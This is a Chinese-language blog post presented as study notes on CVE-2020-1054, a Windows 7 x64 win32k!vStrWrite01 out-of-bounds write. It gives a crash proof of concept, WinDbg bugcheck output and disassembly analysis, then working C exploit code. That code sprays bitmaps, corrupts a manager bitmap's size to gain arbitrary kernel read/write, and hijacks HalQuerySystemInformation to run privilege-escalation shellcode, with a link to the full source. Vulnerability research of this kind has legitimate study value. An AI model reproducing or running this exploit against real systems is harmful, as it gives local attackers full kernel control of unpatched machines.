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[原创]CVE-2020-1054提权漏洞学习笔记
2022-7-18 15:55 2669

[原创]CVE-2020-1054提权漏洞学习笔记

2022-7-18 15:55
2669

一.前言

1.漏洞描述

该漏洞存在于win32k!vStrWrite01函数中,该函数在对BitMap对象中pvScan0成员所指向的像素区域进行读写的时候,没有判断读写的地址是否已经越界,即超过了BitMap对象的像素点范围,导致BSOD的产生。通过合理的内存布局,可以利用该漏洞扩大目标BitMap对象的sizlBitmap来扩大该BitMap对象的可读写范围,利用此时被扩大读写范围的BitMap对象来修改另一个BitMap对象的pvScan0就可以实现任意地址读写。

2.实验环境

  • 操作系统:Win7 x64 7601 专业版

  • 编译器:Visual Studio 2017

  • 调试器:IDA Pro, WinDbg

二.漏洞分析

1.POC代码分析

该漏洞的POC代码如下:

VOID POC_CVE_2020_1054()
{
	LoadLibrary("user32.dll");
	HDC r0 = CreateCompatibleDC(0x0);
	// CPR's original crash code called CreateCompatibleBitmap as follows
	// HBITMAP r1 = CreateCompatibleBitmap(r0, 0x9f42, 0xa);
	// however all following calculations/reversing in this blog will
	// generally use the below call, unless stated otherwise
	// this only matters if you happen to be following along with WinDbg
	HBITMAP r1 = CreateCompatibleBitmap(r0, 0x51500, 0x100);
	SelectObject(r0, r1);
	DrawIconEx(r0, 0x0, 0x0, (HICON)0x30000010003, 0x0, 0xfffffffffebffffc,
				0x0, 0x0, 0x6);
}

POC代码通过CreateComatibleBitmap对象来创建了一个BitMap对象用来触发漏洞,该函数定义如下:

HBITMAP CreateCompatibleBitmap(HDC hdc,
  			       int nWidth,    
  			       int nHeight);

漏洞触发函数则是DrawIconEx,该函数用于在指定的设备上下文中绘制图像,该函数定义如下:

BOOL WINAPI DrawIconEx(HDC hdc,
    		       int xLeft,
   		       int yTop,
    		       HICON hIcon,
    		       int cxWidth,
                       int cyWidth,
                       UINT istepIfAniCur,
                       HBRUSH hbrFlickerFreeDraw,
                       UINT diFlags);

编译运行POC,系统就会产生BSOD错误,以下的部分错误信息:

0: kd> !analyze -v
Connected to Windows 7 7601 x64 target at (Tue Jul 12 10:00:11.147 2022 (UTC + 8:00)), ptr64 TRUE
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced.  This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: fffff906c5000238, memory referenced.
Arg2: 0000000000000000, value 0 = read operation, 1 = write operation.
Arg3: fffff9600011218a, If non-zero, the instruction address which referenced the bad memory
	address.
Arg4: 0000000000000005, (reserved)

Debugging Details:
------------------

IMAGE_NAME:  win32k.sys

TRAP_FRAME:  fffff88005386a40 -- (.trap 0xfffff88005386a40)
NOTE: The trap frame does not contain all registers.
Some register values may be zeroed or incorrect.
rax=fffff900c5000000 rbx=0000000000000000 rcx=fffff906c5000238
rdx=fffff900c06f7fa0 rsi=0000000000000000 rdi=0000000000000000
rip=fffff9600011218a rsp=fffff88005386bd0 rbp=0000000000000000
 r8=0000000000000020  r9=fffff96000070000 r10=fffff88005386c30
r11=0000000000000000 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei ng nz na po cy
win32k!vStrWrite01+0x36a:
fffff960`0011218a 418b36          mov     esi,dword ptr [r14] ds:00000000`00000000=????????

STACK_TEXT:  
nt!RtlpBreakWithStatusInstruction
nt!KiBugCheckDebugBreak+0x12
nt!KeBugCheck2+0x71e
nt!KeBugCheckEx+0x104
nt! ?? ::FNODOBFM::`string'+0x44891
nt!KiPageFault+0x16e
win32k!vStrWrite01+0x36a
win32k!EngStretchBltNew+0x164a
win32k!EngStretchBlt+0x797
win32k!EngStretchBltROP+0x5fe
win32k!BLTRECORD::bStretch+0x623
win32k!GreStretchBltInternal+0xa37
win32k!BltIcon+0x18f
win32k!DrawIconEx+0x3b1
win32k!NtUserDrawIconEx+0x14d
nt!KiSystemServiceCopyEnd+0x13
USER32!NtUserDrawIconEx+0xa
USER32!DrawIconEx+0xd9

根据错误信息可以知道,产生BSOD错误的代码地址位于win32k!vStrWrite01偏移0x36A处,产生原因是对不合法的地址,即0地址进行读取操作。

2.vStrWrite01函数分析

在NT4源码中可以找到vStrWrite01函数的定义如下:

VOID vStrWrite01(STRRUN  *prun, 
                 XRUNLEN *pxrlEnd,
                 SURFACE *pSurf,
                 CLIPOBJ *pco)

其中,与漏洞相关的前三个参数定义如下:

typedef struct _XRUNLEN
{
    LONG    xPos;
    LONG    cRun;
    LONG    aul[1];
} XRUNLEN;

typedef struct _STRRUN
{
    LONG    yPos;
    LONG    cRep;
    XRUNLEN xrl;
} STRRUN;


typedef struct tagSIZE {
    LONG cx;
    LONG cy;
} SIZE,*PSIZE,*LPSIZE;
 
typedef SIZE SIZEL;

typedef struct _BASEOBJECT64{
  ULONG64 hHmgr;		// 0x00
  ULONG32 ulShareCount;		// 0x08
  WORD cExclusiveLock;		// 0x0A
  WORD BaseFlags;		// 0x0C
  ULONG64 Tid;			// 0x10
} BASEOBJECT64;
 
typedef struct _SURFOBJ64{
  BASEOBJECT64 baseObj;	  // 0x00
  ULONG64 dhsurf;         // 0x18
  ULONG64 hsurf;          // 0x20
  ULONG64 dhpdev;         // 0x28
  ULONG64 hdev;           // 0x30
  SIZEL sizlBitmap;       // 0x38
  ULONG64 cjBits;         // 0x40
  ULONG64 pvBits;         // 0x48
  ULONG64 pvScan0;        // 0x50
  ULONG32 lDelta;         // 0x58
  ULONG32 iUniq;          // 0x5C
  ULONG32 iBitmapFormat;  // 0x60
  USHORT iType;           // 0x64
  USHORT fjBitmap;        // 0x66
} SURFOBJ64;

根据WinDbg的错误信息可以在IDA中定位到触发错误的代码,在触发错误的代码上面不远处就可以看到,读取的内存地址由rcx与rax决定,所以就需要分析rcx与rax的计算才能知道读取的内存地址

在vStrWrite01函数首先对参数进行赋值,并判断相关参数是否条件,这里的三个跳转都不会进行:

.text:FFFFF97FFF0A5118 ; void __fastcall vStrWrite01(struct _STRRUN *prun, struct _XRUNLEN *pxrlEnd, struct SURFACE *pSurf, struct _CLIPOBJ *pco)
.text:FFFFF97FFF0A5118 ?vStrWrite01@@YAXPEAU_STRRUN@@PEAU_XRUNLEN@@PEAVSURFACE@@PEAU_CLIPOBJ@@@Z proc near
.text:FFFFF97FFF0A5118                 test    rdx, rdx       ; 判断pxrlEnd是否为NULL
.text:FFFFF97FFF0A511B                 jz      locret_FFFFF97FFF0A560E
.text:FFFFF97FFF0A5143                 lea     rax, [rcx+8]    ; eax = prun->xrl
.text:FFFFF97FFF0A5147                 mov     rbx, r9         ; rbx = pco
.text:FFFFF97FFF0A514A                 mov     r15, r8         ; r15 = pSurf
.text:FFFFF97FFF0A5152                 mov     rdi, rax        ; rdi = prun->xrl
.text:FFFFF97FFF0A515A                 mov     rsi, rcx        ; rsi = prun
.text:FFFFF97FFF0A515D                 test    rbx, rbx        ; poc是否为NULL
.text:FFFFF97FFF0A5160                 jnz     loc_FFFFF97FFF0A53AC
.text:FFFFF97FFF0A53C7                 mov     ebp, [rsi]      ; ebp = prun->yPos
.text:FFFFF97FFF0A53DE                 mov     r11d, [rsi+4]   ; r11d = prun->xrl->cRun
.text:FFFFF97FFF0A53FA                 mov     eax, [r15+58h]  ; eax = pSurf->lDelta
.text:FFFFF97FFF0A53FE                 imul    eax, ebp        ; eax = pSurf->lDelta * prun->yPos
.text:FFFFF97FFF0A5401                 movsxd  rcx, eax        ; rcx = pSurf->lDelta * prun->yPos
.text:FFFFF97FFF0A5404                 add     rcx, [r15+50h]  ; rcx = pSurf->lDelta * prun->yPos + pSurf->pvScan0
.text:FFFFF97FFF0A5408                 mov     [rsp+0A8h+var_rcx], rcx ; 保存rcx的数值
.text:FFFFF97FFF0A540D                 test    r11d, r11d      ; 判断prun->yPos是否为0
.text:FFFFF97FFF0A5410                 jz      loc_FFFFF97FFF0A55F7

将r11d减一,也就是将保持的prun->xrl->cRun减一,之后就开始计算rcx和rax,在用rcx和rax来计算r14,即计算之后要读取的内存地址:

.text:FFFFF97FFF0A541D                 mov     r12d, 1
.text:FFFFF97FFF0A5423 loc_FFFFF97FFF0A5423:                   
.text:FFFFF97FFF0A5423                 sub     r11d, r12d      ; r11d = r11d - 1
.text:FFFFF97FFF0A5450                 movsxd  rbx, dword ptr [rdi] ; rbx = prun->xrl->xPos
.text:FFFFF97FFF0A545A                 mov     rax, rbx        ; rax = prun->xrl->xPos
.text:FFFFF97FFF0A5460                 sar     rax, 5          ; rax = prun->xrl->xPos >> 5
.text:FFFFF97FFF0A546D                 lea     r14, [rcx+rax*4]

接下去执行就是导致BSOD错误产生的mov esi, [r14]这条指令。 如果r14中保持地址是合法的地址,之后就会对读取到的值进行or运算或者and运算:

把运算以后得到的值在赋值回r14指向的内存地址:

.text:FFFFF97FFF0A5579                 mov     [r14], esi

对rcx进行增加,在判断r11d是否为0,如果不为0就会跳转到loc_FFFFF97FFF0A5423,也就是跳转到上面的sub r11d, r12d指令开始,再次执行上述的这些指令:

.text:FFFFF97FFF0A5580                 mov     rcx, [rsp+0A8h+var_rcx]  ; 将之前保存的rcx赋值给rcx
.text:FFFFF97FFF0A55B7                 movsxd  rax, dword ptr [r15+58h] ; rax = pSurf->lDelta
.text:FFFFF97FFF0A55BE                 add     rcx, rax        ; rcx = rcx + pSurf->lDelta
.text:FFFFF97FFF0A55EE                 test    r11d, r11d
.text:FFFFF97FFF0A55F1                 jnz     loc_FFFFF97FFF0A5423

根据上面分析,可以得出要读写的内存地址,即r14寄存器的值的计算可以用以下循环来计算:

for (i = 0; i < prun->yPos; i++)
{
	r14 = pSurf->lDelta * prun->yPos + pSurf->pvScan0 + (prun->xrl->xPos >> 5) * 4 + i * pSurf->lDelta
	// 对r14指向的内存地址进行读写
}

三.漏洞利用

漏洞利用的步骤如下:

  1. 创建用来触发漏洞的BitMap对象hExpBitMap

  2. 在hExpBitMap偏移0x100070000处放置一个BitMap对象,作为hManager

  3. 在hManager之后偏移0x7000地址处分配一个BitMap对象作为hWorker

  4. 触发漏洞,扩大hManager所对应的BitMap对象的sizelBitmap来扩大hManager的可读写范围

  5. 通过hManager修改hWorker对应的BitMap对象的pvScan0,就可以实现任意地址读写实现提权

为了成功创建用于利用的hManager和hWorker,需要通过喷射大量0x7000大小的BitMap对象,相应的代码如下:

BOOL Exploit_CVE_2020_1054()
{
	BOOL bRet = TRUE;

	if (!LoadLibrary("user32.dll"))
	{
		bRet = FALSE;
		ShowError("LoadLibrary", GetLastError());
		goto exit;
	}

	HDC hdc = NULL;
	hdc = CreateCompatibleDC(NULL);
	if (!hdc)
	{
		bRet = FALSE;
		ShowError("CreateCompatibleDC", GetLastError());
		goto exit;
	}

	HBITMAP hExpBitMap = NULL;

	hExpBitMap = CreateCompatibleBitmap(hdc, 0x51500, 0x100);
	if (!hExpBitMap)
	{
		bRet = FALSE;
		ShowError("CreateCompatibleBitmap", GetLastError());
		goto exit;
	}

	ULONG64 ulExpBitMap = GetBitMapKerAddr(hExpBitMap);
	ULONG64 oob_target = (ulExpBitMap & 0xfffffffffff00000) + 0x0000000100000000;

	HBITMAP hManager = NULL, hWorker = NULL;
	ULONG64 ulManager = 0, ulWorker = 0;

	while (true)
	{
		HBITMAP hBitMap = NULL;

		hBitMap = CreateCompatibleBitmap(hdc, 0x6F000, 0x8);
		if (!hBitMap)
		{
			bRet = FALSE;
			ShowError("CreateCompatibleBitmap", GetLastError());
			goto exit;
		}

		ULONG64 ulBitMapKerAddr = GetBitMapKerAddr(hBitMap);

		if (hManager)
		{
			ulWorker = ulBitMapKerAddr;
			hWorker = hBitMap;
			break;
		}
		else if (ulBitMapKerAddr >= oob_target && (ulBitMapKerAddr & 0x0000000000070000) == 0x70000)
		{
			ulManager = ulBitMapKerAddr;
			hManager = hBitMap;
		}
	}

	// 触发漏洞,修改hManger的可读写范围
	SelectObject(hdc, hExpBitMap);
	DrawIconEx(hdc, 0x900, 0xb, (HICON)0x40000010003, 0x0, 0xffe00000, 0x0, 0x0, 0x1);
exit:
	return bRet;
}

编译运行程序,在触发漏洞之前,hManager对应的BitMap对象的sizlBitmap的值如下:

触发漏洞之后,就可以看到可读写的范围被成功的扩大:

四.运行结果

成功扩大hManager的读写范围之后,就可以通过修改hWorker的pvScan0来实现任意地址读写,最终实现提权,相应代码如下:

BOOL EnablePrivilege_CVE_2020_1054(HBITMAP hManager, HBITMAP hWorker, ULONG64 ulSize)
{
	BOOL bRet = TRUE;
	PVOID pBuf = NULL;

	pBuf = malloc(ulSize + 0x10);
	if (!pBuf)
	{
		bRet = FALSE;
		ShowError("malloc", GetLastError());
		goto exit;
	}
	ZeroMemory(pBuf, ulSize + 0x10);
	
	if (!GetBitmapBits(hManager, ulSize, pBuf))
	{
		bRet = FALSE;
		ShowError("GetBitmapBits", GetLastError());
		goto exit;
	}

	ULONG64 ulHalQuerySystenInformation = (ULONG64)GetHalQuerySystemInformation();
	if (!ulHalQuerySystenInformation)
	{
		bRet = FALSE;
		goto exit;
	}

	*(PULONG64)((ULONG64)pBuf + ulSize) = ulHalQuerySystenInformation;
	if (!SetBitmapBits(hManager, ulSize + sizeof(ULONG64), pBuf))
	{
		bRet = FALSE;
		ShowError("SetBitmapBits", GetLastError());
		goto exit;
	}

	ULONG64 ulOrg = 0;

	if (!GetBitmapBits(hWorker, sizeof(ULONG64), &ulOrg))
	{
		bRet = FALSE;
		ShowError("GetBitmapBits", GetLastError());
		goto exit;
	}

	ULONG64 ulShellCode = (ULONG64)ShellCodeInWin7;
	if (!SetBitmapBits(hWorker, sizeof(ULONG64), &ulShellCode))
	{
		bRet = FALSE;
		ShowError("GetBitmapBits", GetLastError());
		goto exit;
	}

	if (!CallNtQueryIntervalProfile())
	{
		bRet = FALSE;
		goto exit;
	}

	if (!SetBitmapBits(hWorker, sizeof(ULONG64), &ulOrg))
	{
		bRet = FALSE;
		ShowError("GetBitmapBits", GetLastError());
		goto exit;
	}

exit:
	return bRet;
}

完成代码保存在:https://github.com/LegendSaber/exp_x64/blob/master/exp_x64/CVE-2020-1054.cpp。运行程序,即可成功提权:

五.参考资料


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